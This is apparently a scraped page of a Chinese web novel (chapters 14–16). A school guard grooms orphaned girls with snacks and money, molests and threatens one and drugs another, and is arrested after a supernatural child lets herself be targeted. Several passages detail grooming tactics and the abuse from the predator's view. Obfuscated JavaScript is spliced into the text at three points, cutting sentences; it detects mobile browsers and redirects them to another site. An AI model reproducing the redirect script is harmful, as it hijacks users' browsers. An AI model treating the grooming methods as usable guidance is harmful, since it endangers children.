RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484107|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮廓。正是这种没人在意的孩子,才最好下手…… 孙全伟铺垫了整整一个学期,将这个内向的小女孩哄得渐渐对他敞开心扉,原想着在暑假摘下这颗青涩的果实,没想到刚放假就扭伤了脚,以至于拖到了现在还没动手。 而他没想到的是,今天这个小姑娘竟开心地牵着一个漂亮的女同学走了过去:“孙叔叔,这是我的新同桌薛宓。她家就在我们小区附近,以后我们一起回家啦!” “孙叔叔,您好,我是新转来的转学生。” 孙全伟从没见过这么好看的小孩子。 巴掌大的小脸蛋粉扑扑的,浓密的睫毛下是一双猫儿般的大眼睛,圆溜溜得仿佛会说话一样。 她穿着和其他孩子一样的校服,可就是显得特别可爱。袖口露出的小手白嫩嫩的,像刚剥壳的鸡蛋。笑起来露出两个甜甜的酒窝,长得跟洋娃娃似的。 这一刻,孙全伟光是看着就喉结滚动,一股热意直冲上了脑门。 “薛宓同学好。”舌尖不自觉地舔了舔发黄的牙齿,孙全伟扬起温和的笑容,“你爸爸妈妈不来接你吗?” “我没有爸爸妈妈。”小姑娘失落地低下头,“现在是寄住。” “我也没有爸爸妈妈。”没想到薛宓竟然也有这么悲惨的身世,林美美立刻红了眼眶。 小女孩的辫梢在他眼前晃啊晃,像只待宰的羊羔。 又是一个绝佳的目标。 只可惜这两周他是夜班。 手掌轻轻地落在小姑娘的头顶,孙全伟粗糙的指腹状似无意地蹭过她细软的发丝。 他感受着掌心下温暖的触感,心里涌起一股扭曲的满足感。 “这两周我正好是夜班,你能和美美一起回去,我也就放心了。”他刻意放柔了嗓音,手掌却加重力道在她发间揉搓了几下,随后从口袋里摸出两颗棒棒糖,“拿去吃吧。” 薛宓被好几个人摸过头,可从来没有像这一次,让她觉得生理不适的恶心。 那只粗糙的大手覆在她头顶的瞬间,一股黏腻的恶心感顺着脊椎爬上来。顺着那只手掌,那些黑丝不受控制地向她涌来,比之前缠绕在林美美身上的更加浓郁、更加贪婪。 就像嗅到血腥味的鲨鱼,迫不及待地想钻进她的皮肤。 她在心里冷笑,不动声色地运转力量吞噬着这些黑丝。 但这些黑丝并不害怕,反而更加兴奋地缠绕了上来。 ——这个人,把她也当成了猎物。 薛宓嘴角微不可察地翘了翘。 有趣。 真是有趣。 苏醒这几个月来,薛宓还是第一次遇到这么有趣的事情。 一股久违的兴奋感在身体里奔涌,她眼眉弯弯地抬起头,露出一个天真无邪的笑容:“谢谢叔叔。” 孙全伟当时用了一周的时间才让林美美放下戒心接受自己的好意,没想到眼前这个漂亮得过分的女孩,居然这么轻易就收下了陌生人的东西。 果然是没人照顾的野孩子, 这个念头让他嘴角不受控制地咧开,露出满是烟渍污痕的黄牙。 14.上钩 借着林美美认识孙全伟后,薛宓拉着她径直走向了校门口停着的一辆黑色轿车。 车窗缓缓降下,露出一张棱角分明的俊脸。 “这是收养我的警察哥哥,贺黎筠。”薛宓甜笑着咬重“警察”二字,又推了推身旁的女孩,“这是我同桌,林美美。” 林美美仰头望着车内穿着制服的英俊男人,肩章上的银色星星在夕阳下闪闪发亮,她嘴巴不自觉地张成了圆形。 “贺叔……哥哥好……” “美美,你今天坐我哥哥的车吧。哥哥,你不介意美美搭一程吧?” 目光在薛宓牵着的小女孩身上停留片刻,贺黎筠剑眉微挑:“不介意,林同学住哪儿?” “她住阳光花园小区。”薛宓先一步答完,就主动拉着不好意思摆手的林美美钻进了后座。 “我没有爸爸妈妈,和我认识警察哥哥这件事,你别告诉别人哦。”她纤细的手指在林美美掌心轻轻画了个圈,“这是我们俩的秘密。” 贺黎筠透过后视镜看着后座咬耳朵的两个小姑娘,眉头微蹙。 昨天还说同学们都挺蠢的,今天居然主动带同学上车,还表现得这么亲昵…… “哥哥。”薛宓突然抬头,打断了他的思绪,“你工作忙,以后不用来接我了。”她晃了晃和林美美十指相扣的手,“我和同学一起回家。” 视线在后视镜里与薛宓短暂相接,贺黎筠就见那双眼睛漂亮地弯成了月牙,莫名地让他想到了捕食前的猫科动物。 林美美下车后,车里的气氛骤然凝固。 手指在方向盘上轻叩,贺黎筠透过后视镜打量着后座懒洋洋平躺着的薛宓:“那个小姑娘身上是有什么问题吗?” 虽然这么问,且近些年未成年犯罪比率逐年上升,但他的直觉告诉他,那个怯生生的小女孩不像是什么危险分子。 薛宓将脸贴在冰凉的车窗上,玻璃映出她微微上扬的嘴角:“你别多想,她身上什么都没有。” “我就是觉得她可爱,想交个朋友不行吗?”她转头,朝着后视镜里的贺黎筠眨了眨眼,歪头一笑,“怎么,我不能交朋友吗? 瞥见那张刻意装可爱的笑脸,贺黎筠沉默地移开了视线。 学校本该是最安全的地方,可刑警的直觉却在不断报警。 看来明天得去局里调取下林美美的家庭档案——有些事,宁可多此一举。 是她发现的猎物,薛宓不觉得自己有必要和贺黎筠分享。但孙全伟身上那些反常的黑丝实在令她在意,她决定先做些调查,就上网搜索了下“保安、小女孩”这个关联词。 没想到这么简单的一搜,就轻轻松松地搜出了答案——恋童癖。 一个对薛宓来说完全陌生的词,却在搜索结果中铺天盖地,甚至看完几篇新闻,薛宓就理解了其中的意思——这是专门对孩童产生邪念的罪犯。 而这些施害者往往都是孩子们身边的熟人——家长、亲戚、老师、保安…… 他们用精心设计的善意编织陷阱。那些刻意的接近,那些恰好的偶遇,那些看似善意的零食,都只是为了降低猎物的戒心。 “真恶心。”薛宓“啪”地将平板扔到了一边。 第二天清晨,贺黎筠合上档案,指节抵着眉心揉了揉。 资料显示,林美美的父亲四年前突然失踪,至今杳无音信。没过多久,她母亲也因病去世,留下年幼的孩子与年迈的外公外婆相依为命。 两位老人为了养活外孙女,不得不拖着佝偻的身躯四处打零工。 超市理货员、街道清洁工,都是最耗体力的活计。即便如此,他们微薄的收入也仅够勉强维持三人的温饱。 而从居委会那边了解,这个小姑娘从小学一年级就开始自己上下学,刚入学就买了最大号的校服,一穿就穿到了现在。 理论上这种状况完全符合低保标准,可之前不是父亲的户籍未注销,就是材料缺这个少那个,导致他们去年才通过低保申请。 家庭背景干净得挑不出毛病,却又透着一股无人问津的荒凉。 是个非常命苦的小姑娘。 放学时分,贺黎筠的黑色轿车隐在报刊亭后,看着薛宓和林美美并肩走出校门。 两个小姑娘有说有笑,还一同分食着一盒章鱼小丸子。夕阳将她们的影子拉得很长,看起来就是一对普通的好朋友。 但,他没给过薛宓零花钱,林美美家更是捉襟见肘。她们手里的这些钱是从哪来的? 还没等贺黎筠细究,手机突然响起。局里发生重大案件,需要他立即归队。 贺黎筠只得将疑虑压下,匆匆赶往了刑警支队。 而不久后,乘坐巴士的崔芳华正好望见薛宓和同学在小区门口挥手告别的场景。两个小姑娘笑靥如花,让她心头一软。 她三步并作两步下了车。 “宓宓这么快就交到朋友啦?正好是我们隔壁小区的吗?” 她的声音里带着掩饰不住的欣喜。没等薛宓回答,就从手提包里利落地抽出两张崭新的五十元钞票,不由分说地塞进薛宓手心:“拿着,请同学吃点好的。” 于是十分钟后,正开车去警局路上的贺黎筠就收到了母亲欢快的电话,絮絮叨叨说着女儿多么漂亮可爱,这么快就交到朋友,自己刚刚又给了她一百块零花钱之类的废话。 贺黎筠握着方向盘,无声叹了口气。 慈母多败儿啊。 “妈,我这段时间会有些忙,你帮我看着点她。有什么事,立刻给我打电话。” 他顿了顿,又补充道:“别再给她钱了,每月最多三十。我小学才十块钱零花钱。” “现在物价不一样了,三十能买什么呀……”崔芳华嘀嘀咕咕,“儿子穷养,女儿要富养。否则女儿很容易被那种小恩小惠给骗走的……” “好了妈不说了,我到局里了。”贺黎筠揉着眉头,挂断了电话。 因为薛宓是需要特殊留意的孩子,再加上贺黎筠来电关照说最近没空接孩子,李秋华为此格外上心。 本来她和林美美结伴回家是一件好事,可李秋华对林美美的家庭情况再熟悉不过。 开学初的家访中,那个简陋的低保户家庭给她留下深刻印象。可奇怪的是,这个本该拮据的小姑娘,却在开学后,用着崭新的文具和漂亮的包书纸。 李秋华总觉得哪里不太放心,便想着下班早时送她们一程。但两个小姑娘似乎不想麻烦,又或者是惧怕她这个班主任,总是一放学就一溜烟跑掉了。 偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16497555|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔在路上遇见,她们手里总拿着零食,亲密地挽着手臂。见她们小区确实不远,李秋华也就没再坚持。 两周一晃而过,李秋华驾车离校时,无意间瞥见,两个小姑娘竟和一个学校保安走在一起。 这个姓孙的保安是去年刚招的,是监控室岗,李秋华和他不熟。就见他笑着掏出两根棒棒糖递给孩子们,想到她们回家路上手里总有零食,她皱了皱眉,立即停车走了过去。 “薛宓,林美美,你们认识这位保安叔叔吗?” “李老师好!”突然瞥见有老师走来,孙全伟立刻堆起笑容,“我和林同学都住阳光花园,和她外婆挺熟的。老人家不放心孩子一个人走,就托我帮着接送。前两周我值晚班,今天调早班正好送她们。 李秋华将目光投向林美美,林美美点头证实:“之前下雨天差点淋湿,多亏了孙叔叔帮忙,外公外婆都认识孙叔叔。” 孙全伟身上的黑丝一下子缩得不见踪影,薛宓就怕煮熟的鸭子飞了,在旁连忙猛猛点头:“老师放心,我哥哥也知道。” 一听贺警官知情,李秋华紧蹙的眉头瞬间舒展了下来。 “家长都知道就好。”她点点头,叮嘱了两句后便开车离去。 待老师走远,孙全伟试探地问:“薛同学,你还有哥哥?” “是寄养家庭的哥哥,最近他出差很忙,已经七天没回来了。”薛宓对着林美美眨眨眼,林美美一想到这是她们之间的小秘密,也跟着眨了眨眼。 不知情的孙全伟,默默松了一口气。 映入眼帘的是棒棒糖在女孩口中慢慢融化的样子,他喉结剧烈地滚动了几下。 但孙全伟是个胆小谨慎的人,否则他也不会这么长时间都没有行动。 孙全伟以前并不是没被人发现过。 前年,他还是个专门教孩童的游泳教练。 教游泳肢体接触再正常不过,他每次都能靠这些举动满足自己的心理。小孩子懵懵懂懂的完全不知道发生了什么,十年来都没有人发现他心底渐渐滋生的阴暗。 有个家长,竟举报他摸她孩子大腿! 游泳抬高腿多正常,什么叫作摸她孩子了?! 虽然他力理据争,最终撤销了投诉,领导也认为家长小题大做,但他胆子小,再加上这些流言蜚语确实影响了他的风评,他也不敢继续在游泳馆里担任教练了。 去年他来到青江市,找亲戚托关系,当上了学校保安。 他讨厌家长,家长就是个难缠的东西。他才专门物色那些没有家长的孩子。 他必须完美地拉满好感度,慢慢来,才能让孩子们心甘情愿给自己…… 所以,在将两个小姑娘平安送回几次后,确认薛宓也和林美美一样单蠢好骗,给点零食就能轻轻松松地哄住,孙全伟才正式把薛宓也纳入了自己准备动手的猎物名单。 孙全伟甚至为自己制定了详细的计划:先带她们去周边的商店买东西,等混熟了再邀请到家里看小猫。他知道这些没有父母疼爱的孩子,最渴望的就是大人的关注和疼爱。 所以在两个小姑娘身上花了两百块后,孙全伟决定动手了! 这些低龄女童辨别能力差、胆小不敢反抗,只要第一次成功,后面就能轻松地拿捏! 15.引诱 对林美美来说,一切都因为薛宓的出现变得不同。 她又穷又丑又内向又自卑,连成绩也徘徊在中下游,她就像是班级里毫无存在感的小透明,同学们的目光总是轻易掠过她…… 但现在,薛宓坐在了她身边。 那个漂亮得像洋娃娃一样的转学生,不仅成了她的同桌,更成了她人生中第一个真正的朋友。 男生们开始围在她们桌前,有些腼腆不敢和薛宓说话的,还会让她当传话筒。连以前给她取“月球表面”绰号的曹长胜也因为被薛宓骂了一句“没礼貌”后对她红着脸道了歉。 连带着,她的课桌里也开始出现各种小礼物——精致的糖果、进口的巧克力、甚至还有手写的贺卡。 虽然都不是给自己的,但林美美第一次尝到了被大家关注的滋味。 她变得有勇气和同学们说话,课间也有女同学主动喊她一起跳皮筋、一起上厕所,她也学着薛宓,买来大包小包的零食分给同学们。 原来同学们不是不喜欢她才不和她说话,而是她总是低着头缩在座位上,让人难以接近。 因为自卑,林美美刚入学时就下意识筑起了一道墙。 当其他小朋友还在互相熟悉时,她已经缩进了自己的壳里。 课间,同学们叽叽喳喳分享着带来的零食,她却死死攥着外婆准备的馒头,生怕被人看见寒酸的午餐。 体育课分组,她总是默默退到最后,等所有人都组好队了,才小声对老师说:“我可以一个人”。 放学路上,有过生日的同学热情地邀请她周末去家里玩,她低着头嗫嚅“外婆不让我去别人家”。 其实她只是害怕,害怕看见别人家的妈妈系着围裙端出蛋糕,害怕听见同学爸爸用相机记录笑声,更害怕回家后面对空荡荡的房间。 于是,一年级第一学期这个互相摸索交友最关键的时期,其他同学自然而然地结成了自己的小圈子。唯有她,因为总是拒绝,让那些曾经向她伸来的手,渐渐地,都收了回去。 直到薛宓出现。 明明和她一样没有爸爸妈妈,她却活得那么开朗那么自信。 才刚转学过来,就和同学们打成了一片。老师提问时,她的手永远举得最高。哪怕回答错误,下次提问时依然第一个举手。 林美美想成为这样耀眼的存在。 她害怕错误,害怕他人异样的目光,连上课举手回答问题,都不敢。 “我也想……成为你这样的人。”她不小心把心里话说了出来。 薛宓正在系鞋带的手突然停住,仰起脸反问:“为什么不可以?” ——像有星星突然掉进深井里。 啊……她可以吗? 林美美下意识摸上自己发红的痘痘。 薛宓能这样闪闪发光,是因为她长得好看,她笑起来有酒窝……而自己呢? “美美”这两个字像是在嘲笑她一样,她连照镜子都需要勇气…… “可是……” 她刚开口,就被塞了满手温热的触感。薛宓把自己的发绳解下来缠在她手腕上,柠檬黄的橡皮筋像道小太阳。 “只要你愿意,你也能成为我。别被心里的‘不可能’先困住了自己。” 阳光从教室的窗户斜斜地照进来,正好落在她们之间的地板上。 薛宓突然指向窗外正在跳皮筋的女生们,狡黠地眨眨眼:“要不要打个赌?现在走过去说‘我能不能一起玩’——我赌她们一定会笑着给你让位置。” 林美美攥着柠檬黄发绳的手心沁出了汗。 她看见阳光在皮筋上跳跃,听见女孩子们的笑声像一串风铃。 一步,两步……当她终于站在那群女生面前时,最先开口的竟是平时最文静的学习委员:“快来!正好缺个人帮我们撑皮筋呢!” 这一刻,曾经不喜欢上学的自己,竟期待着明天的到来。曾经让她恐惧的教室,现在竟成了充满欢声笑语的地方。 只有一件事,林美美心里总会泛起一丝酸涩。 那个她当作父亲般依恋的孙叔叔,那个只对她一个人好的孙叔叔,现在也会给薛宓零花钱,也会摸薛宓的头,就像对待她一样。 她知道自己不该嫉妒——薛宓那么耀眼,谁会不喜欢呢?可心里还是像咬了一口没熟的青梅一样…… “美美啊……”保安监控室里,孙全伟哑着嗓子招手,“来帮叔叔揉揉肩膀。” 最近,两个小姑娘时常黏在一起。难得遇到她们分开的时候。 “美美,在想什么呢,怎么一点也不专心。” 揉着孙全伟的肩膀,林美美突然问道:“孙叔叔也和宓宓玩找东西的游戏吗?” 孙全伟和林美美之间一直有个“找东西”小游戏。最初是孙全伟提议的,让她把糖果藏在身上的任何地方。如果他没有找到,就给她五块钱。 林美美靠这个赚了足足五十块。 孙全伟眉头一挑,嘴角扯出个古怪的笑:“美美嫉妒了?”他忽然收紧手臂,将她按在自己腿上,“我以后只疼美美,只给美美买东西,好不好?” 他的呼吸喷在她耳后,带着烟酒混杂的气味:“我只对美美好,美美也只听我的话.……”粗糙的拇指摩挲着她下巴,“来,亲一口叔叔。” 林美美猛地僵住。 有什么东西在胃里翻搅,比上次吃坏肚子的冰淇淋还要难受。她下意识挣了挣,脸颊烧得发烫——不是因为害羞,而是某种说不清的的恐惧正顺着脊背往上爬。 而这么一挣扎,反而把孙全伟爽到了。 成年人的双臂像铁箍般收紧,哪是小孩子轻易能挣脱的。他伸手摸了上去:“不是说最喜欢叔叔吗?怎么连让叔叔摸一下都不愿意了?” 他原本计划明天邀她们来看刚抓的野猫,连猫罐头都备好了。可此刻掌心传来的温度让他头脑发昏——就像喝了一瓶茅台,灼热的液体从喉咙一路烧进五脏六腑。 “不是要买新书包吗?”他摸出皮夹,钞票擦过她泪湿的脸,“叔叔给你十倍,一百倍……” “叔叔,我错了……呜呜呜……”林美美不知道会发生什么,但本能的恐惧让她哭得泪流满面,“我不要买书包了……” “不是最喜欢吃零食吗?尝尝叔叔的……” 话音突然卡在喉咙里,因为走廊传来了清晰的脚步声。 换班时间要到了。 孙全伟面色一变,松开了手。 “听好了!” 怕她的哭声引来人,孙全伟猛地掐住她下巴,压低嗓音道:“要是敢说出去就弄死你!” “你也不想你外公外婆出事吧!” 林美美吓得不敢再哭,只是胡乱地点头。 “想想看。”他趁机往她口袋里塞了张百元钞,“你收了我那么多钱,就算报警,警察也会觉得是你同意的!一旦被你同学知道你那么肮脏,谁会和你做朋友!” “砰!” 头顶的灯泡突然爆开,黑暗一瞬间笼罩了整个房间。 孙全伟一慌。 他下意识伸手去抓林美美,却只扑了个空——女孩早已像受惊的兔子般挣脱,伴随着重重的推门声,慌乱地逃了出去。 他暗骂一声,立刻追了出去,忽然,一个甜甜的声音从背后响起: “孙叔叔。” 薛宓不知何时站在了走廊逆光处,雨滴正顺着她的伞尖滴落,在脚边汇成小小的水洼。 “今天雨下的好大呀。”她歪着头,睫毛上还挂着水珠,“幸好孙叔叔开了车来,否则我们回家又要淋成落汤鸡了。” 他喉头一滚:“嗯。” “我刚去上厕所了。”薛宓踮脚张望,“美美说先来找你,她还没到吗?” “她外婆突然来电话,说等会儿来接她,不和我们一起走了。” “这样啊~”薛宓笑得眼睛弯成月牙。 伞面上的雨水越积越多,她“哗啦”一声将雨水甩到了一遍。 “那就拜托孙叔叔送我回家了。” 一个人都敢上他的车。 孙全伟嘴角不自觉扬起——果然是小孩子,太好骗了。 李秋华正准备开车回家时,余光突然瞥见停车场的角落里竟蜷缩着一团小小的身影。 林美美缩在墙角,校服领口被冷汗浸透,嘴唇咬得发白。就像只受伤的小兽,浑身止不住地发抖。 “美美?”李秋华蹲下身,掌心贴上她冰凉的额头,“大家都放学回家了,你怎么一个人躲在这儿啊?是哪里不舒服吗?” “老师……” ——要是敢说出去就弄死你! 她猛地一颤,指甲深深掐进掌心:“没有不舒服……” 李秋华轻轻擦去她脸上的泪痕,继续担心地问,“不是不舒服,那是和同学吵架了吗?刚刚老师看见薛宓坐在孙保安的车里,还以为你坐在后排所以没看见……” 这句话像一道闪电劈开了林美美僵滞的思维。 “不要——!” 她突然爆发出撕心裂肺的哭喊。 积压的恐惧决堤而出,林美美死死拽住老师的衣角,泪水大颗大颗砸了下来:“老师救救薛宓!孙叔叔他、他……刚刚摸我……他说如果我说出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16509837|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就弄死我……说我拿了他很多钱,报警也没用……呜呜呜……但是,我不想宓宓出事……呜呜呜……求求救救薛宓……薛宓的哥哥是警察,求求老师告诉她哥哥,她哥哥根本不知道孙叔叔的事情……呜呜呜……” 李秋华脸色瞬间惨白。 学校本该是最安全的象牙塔,可那些披着人皮的恶魔,却借着职务之便,把魔爪伸向最无辜的孩子。 她恨自己为什么没多问一句,为什么刚刚没注意到林美美不在车上! “孙全伟带走了我们班的一个小孩!快!拨打他的电话,有谁知道他家具体地址!” 李秋华一个箭步冲进保安室。在她的吼声下,保安队长也不敢怠慢,连忙掏出手机,拨打孙全伟的电话。 但久久都没有人接通,保安队长焦急地发短信:“在哪?回个电话,一个叫薛宓的四年级学生是不是在你车上。再不回电,李老师就要报警了!” 然而再拨打过去,电话竟是关机了! 短信都写了“报警”竟直接关了机! 保安队长一开始以为李秋华大题小做,现在是觉得这孙全伟是不是疯了?! 难道不是恋童癖,而是绑架杀人犯?! 查到孙全伟的地址,李秋华几乎是发抖地从电话簿里找到贺黎筠的手机号。 ——幸好报到日,存了贺黎筠的电话! 电话只响了半声就被接通,背景音里隐约传来会议室的嘈杂。 但李秋华无暇顾及,她几乎是哭着道:“贺警官!薛宓被我们学校一个男保安拐骗上车。男保安叫孙全伟,疑似恋童癖。电话打不通直接关机,不知道会对孩子做出什么,地址是阳光花园3栋2单元502室……求求你们快去救她……” 她嘶哑着声,一口气说完,电话那端在安静地听完后,传来沉稳有力的声音:“李老师别担心,我现在就过去。薛宓,不会有事的。” 在此之前,车上,薛宓乖巧地接过孙全伟递来的养乐多,小口啜饮着。 透过后视镜瞥见她渐渐垂下的睫毛,孙全伟握着方向盘的指节兴奋得几乎发白。 药效比他预计的还要快。 到时候,他就能尽情的…… 车子刚拐进小区,手机突然刺耳地响起。屏幕上“保安队长”四个字让孙全伟烦躁地“啧”了一声。 ——准又是什么破事要他处理。 他瞥了眼后视镜里昏睡的薛宓,舌尖舔过发干的嘴唇。 加班?呵,今晚他可有更重要的事要做。 但他没想到的是,车子刚停稳,副驾驶竟传来了衣料摩擦的窸窣声。 孙全伟浑身一僵,转头竟见薛宓揉着眼睛坐直了身子。 假药!他在心里狠狠咒骂,脸上慌忙挤出个笑:“薛、薛同学醒啦?” “刚才看你睡着了,不知道你家住哪栋楼……”他下意识望向四周,话音一转,道,“要不要去叔叔家看小猫?昨天刚救的流浪猫,雪白一团……” “小猫?”小姑娘的眼睛瞬间亮起,随后甜甜地把他的手机塞进了口袋里:“叔叔,手机你忘拿了。” 计划很顺利! 望着小姑娘跪在地毯上逗猫,毫无防备地背对着自己,孙全伟咽了口唾沫,从兜里摸出颗水果糖:“薛同学,美美其实是靠自己玩游戏获得的零花钱。但每次叔叔都直接给了你,美美就有些不开心。所以,咱们也玩这个游戏吧。” “你可以把糖藏在身体的任何地方,要是叔叔找不到,就给你五块钱。” “就给我五块钱?”薛宓歪头接过糖果,手腕一翻便藏进了袖口。 “嫌少?”孙全伟呵呵地笑了一声,粗糙的手掌立刻顺着她胳膊不老实地往上摸,却在即将碰到腋下时,突然被一股力道拽得往前一倾—— 薛宓不知何时半坐到了他腿上。 没想到这个孩子还蠢得自己坐在了他身上,孙全伟正欣喜这个比林美美还好骗时,他的脖子突然被一只冰凉的小手摸了上来。 “这游戏好无聊。”薛宓突然倾身上前,温热的鼻息轻轻扫过孙全伟的颈侧,“我们能不能换换?” “薛同学想玩什么新游戏?”感受着小姑娘温软的身躯,孙全伟简直热血沸腾。 指尖轻飘飘地搭在他的颈动脉上,薛宓能清晰地感受着他剧烈跳动的脉搏,感受着他全身沸腾的黑雾————肮脏、粘稠,充满了扭曲的欲望。 她轻抚着,兴奋地弯起了眼眉。 “玩你,爱玩的游戏。” 她笑着偏头,瞳孔深处泛起妖异的血色:“只不过,换我来当‘找东西''的人。” 16.审讯 “砰——!” 震耳欲聋的巨响骤然在门口炸响,孙全伟还未来得及反应,数道身影已如疾风般破门而入。 他瞳孔骤缩,猛地将怀中的女孩推开,身上的黑雾如遇烈阳般疯狂溃散。可还未起身,整个人就被一股巨力掀翻在地。 “咔嚓!” 楚子琦一个凌厉的擒拿,膝盖重重压在他的脊背上,冰冷的手铐瞬间锁死了孙全伟的挣扎。 “警官……误、是误会!薛同学是来我家看猫的……”孙全伟声音发颤,额角冷汗涔涔。 “误尼玛会!老实点!”楚子琦忍不住爆了个粗,粗暴地将孙全伟从地上拽起,“看猫会看到你腿上?执法仪都录到了!” “薛同学……薛同学……” 孙全伟惊恐地抬头,就见方才还软绵绵靠坐在他怀里的女孩,此时竟蜷缩在警察怀里瑟瑟发抖。她肩膀一抽一抽,眼泪像断了线的珍珠般滚落,仿佛受了天大的委屈。 她甚至不敢抬头看他,只是死死攥着警察的袖口,像只受惊的兔子。 薛宓被孙全伟从沙发上推下时,是贺黎筠第一时间冲上去护住了她。 他皱眉揽住薛宓单薄的肩膀,正不动声色地观察房间里的情形时,腰间突然感到一阵锐痛。 薛宓的指甲正深深掐进他侧腰的软肉,泪眼婆娑的小脸满是“你坏我大计”的恼怒,贺黎筠面不改色地反掐了回去,下一秒—— 就见薛宓“哇”的一声爆哭,哭得好不委屈好不凄惨,仿佛遭受了天大的虐待。 贺黎筠:“……” 楚子琦闻声回头,只见贺黎筠僵在原地,而他怀里的小姑娘哭得几乎背过气去。他顿时暴怒,压着孙全伟的双臂将人推向门外:“畜生!连孩子都不放过!等着吃牢饭吧!” 警察陆陆续续撤离,现场嘈杂渐息。薛宓正泪眼婆娑地和贺黎筠互掐时,一道身影猛地冲了进来。 “薛宓!有没有受伤?快告诉老师!” 李秋华紧张地上上下下地看她,见小姑娘哭得小脸、鼻尖都红红的,她脸色煞白,双手颤抖地握住了薛宓纤细的手腕:“是老师对不起你……都怪我没能及时发现……” 她的自责哽咽在喉咙里,化作一声声压抑的抽泣。 温热的泪水滴落在薛宓手背上,她愕然抬眸,只见向来端庄的李老师此刻发丝凌乱,通红的眼眶中泪水决堤般涌出,几乎说不出完整的句子。 怎么哭得比她这个受害者还要凄惨…… 薛宓僵住了。 她讨厌这种感觉。 人类莫名其妙的情感让她无所适从,胸口泛起一阵莫名的窒闷。她瞬间敛去假哭的表情,指尖微微蜷缩,试图从李秋华紧握的手中抽离。 “李老师,我没事……” “我只是……被吓到了而已……我没收到什么伤害……” 她的声音很轻,带着几分无措和生硬,却像投入湖面的石子,激起了更汹涌的波澜。 李秋华哭得更凶了,一把将她搂进怀中,薛宓能清晰地感受到对方剧烈起伏的胸膛,和那压抑不住的、破碎的抽泣声。 “对不起……对不起……” 这个拥抱太过用力,令薛宓整个身子僵在了原地,不知该如何回应。 直到—— “你报警得很及时。”贺黎筠冷静的声音,斩断了这场失控的情绪。 李秋华的哭声戛然而止。 她缓缓松开薛宓,通红的双眼茫然地望向贺黎筠。 “什么都没发生。我们冲进去时,孙全伟一时情急把薛宓从沙发上推了下来,她差点摔着,加上突然看到这么多警察,受了点惊吓才哭的。” 他的目光越过李秋华,落在她身后默默哭成泪人的林美美身上:“这里不适合带孩子过来。李老师,你先带林美美回家。后续的事交给我们警察就行。” 点到名字的林美美,小脸哭得通红,抽抽搭搭地开口:“是、是我求李老师带我过来的……” “宓宓!呜呜呜……都是我的错!”她哽咽地说着,终于憋不住内心的恐慌,一把抱住薛宓的腰,嚎啕大哭了起来,“是我太害怕没提醒你就跑了……是我把那个坏人介绍给你的……都是我害的……呜呜呜……” 该死的,怎么又惹哭一个了。 李秋华擦了擦眼角,解释道:“林美美一直不放心薛宓,非要跟我一起来。她说自己是重要证人,主动要录笔录……” 贺黎筠目光一凝,敏锐地捕捉到关键信息:“孙全伟……是林美美先认识的?” 林美美怯怯地点了点头。 或许是出于对警察叔叔的天然信任,又或许是因为薛宓哥哥的身份,她抽抽搭搭地把认识孙全伟的经过全盘托出。 原来,孙全伟最初的目标,是林美美。 所以薛宓才主动接近这个怯懦的女孩。 也正因为薛宓的介入,孙全伟转移了目标。 她在保护这个小姑娘?这个念头刚闪过就被他狠狠掐灭。 如果真想保护,为什么不第一时间通知他?! 贺黎筠不自觉地抿紧了唇,就见薛宓小脸皱成一团,最终还是伸出手,不情不愿地伸手拍了拍林美美的背。 “好了好了,别哭了。是我自己贪心想去看小猫的,不是你的错。” 薛宓捧起林美美哭花的小脸,强迫她与自己对视:“就算你没有介绍孙全伟给我认识,这个变态也会寻找其他猎物。反而,要不是你及时告诉李老师,李老师也不会打电话给我哥哥,这坏蛋也不会在今日被当场逮住。” 她心里默默咬牙煮熟的鸭子就这么飞了,脸上却扬起一个明媚的笑容:“是你救了我呀,也救了其他可能被孙全伟欺骗的小姑娘。所以不要哭啦,你可是立了大功呢!” 再哭下去,她头都要疼死了。 另一边,孙全伟被第一时间押回刑警支队的审讯室。得知他那就是那个对儿童下手的猥亵犯,所有人的眼神里都淬着冰冷的厌恶。 孙全伟被粗暴地推倒在审讯椅上,刺眼的顶灯直射而下,将他那张往日油腻的脸照得更加丑陋。 他佝偻着背,粗糙的双手不安地搓着手铐:“警官,这、这真是误会……” 嘴唇干裂地颤抖着,他满身的冷汗早已浸透了衣领,几乎是汗流浃背道:“薛同学真的是来看猫的,然后她突然坐到了我身上……” “好一个‘突然’。”楚子琦冷笑一声,从证物袋里取出他的手机,将通话记录推到他面前,“为什么不接电话?学校的保安队长打了你三个电话。” “我、我以为……”孙全伟咽了咽唾沫,眼珠子不安地左右转动,“王队长让我加班……最近学校在搞检查,经常临时通知……” 楚子琦眯起眼:“那收到报警的短信后,为什么直接关机?” “警官,冤枉啊!手、手机没电自动关机了!我根本没看到什么短信!” “哦?”楚子琦嗤笑一声,将手机屏幕转向了孙全伟,“电量78%,短信已读。解释一下?” “不……不可能……”不敢置信地瞪着那条被点开的短信,孙全伟嘴唇颤抖,声音像是卡在喉咙里:“我根本没碰过手机……如果知道有老师报警,我怎么可能还敢——” 他的话戛然而止。 